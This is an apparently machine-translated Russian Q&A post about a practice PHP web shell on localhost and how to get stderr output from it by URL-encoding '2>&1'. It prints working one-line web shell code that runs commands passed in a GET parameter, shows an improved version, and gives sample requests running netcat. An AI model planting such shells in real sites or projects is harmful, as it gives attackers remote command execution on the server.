Я не уверен, что это вопрос PHP, а не вопрос Linux, но здесь идет речь.
Я практикуюсь с веб-оболочками, и у меня есть очень простая, похожая на это;
<?php system($_GET['cmd']); ?>
В моем терминале я могу просмотреть файл справки для netcat, вот так;
nc -h
Я считаю, что это выводит на stderr. В моем терминале я могу перенаправить вывод в файл следующим образом;
nc &> blah
Тогда я могу кот бла, и посмотреть результаты. Однако, если я попробую ту же самую хитрость через веб-оболочку php, файл не будет создан. То есть выполнение этих команд ничего не делает;
http://localhost/shell.php?cmd=nc -h &> blah
#encoded
http://localhost/shell.php?cmd=nc%20-h%20%26%3E%20blah
Почему он не работает в моей веб-оболочке и какой трюк мне нужно внести в мой синтаксис, чтобы он работал? Я могу выдавать команды (например, Ls или же ls — версия), и увидеть стандартный вывод просто отлично.
В конечном счете, я бы хотел полностью избежать записи в файл и просто увидеть ВСЕ выходные данные команды в моей веб-оболочке, но я решил, что это будет более простым первым шагом. Предложения на потом приветствуются!
Я понял;
Проблема в том, что амперсанд отбрасывает команду веб-оболочки, поэтому ее нужно экранировать. Пропустив запись в файл, мы можем перенаправить stderr в stdout, чтобы увидеть все выходные данные (stdout и stderr) в браузере следующим образом;
?cmd=nc -h 2>%261
Кроме того, вместо добавления 2>%261
для каждой команды, веб-оболочка может быть изменена, чтобы сделать подъем для нас;
<?php system($_GET['cmd'] . ' 2>&1'); ?>
Затем мы можем просто выполнить наши команды direclty и увидеть выходные данные как stderr, так и stdout в браузере.
?cmd=nc -h
Кажется, он не соответствует исходному формату вывода, но это уже другой вопрос …
Других решений пока нет …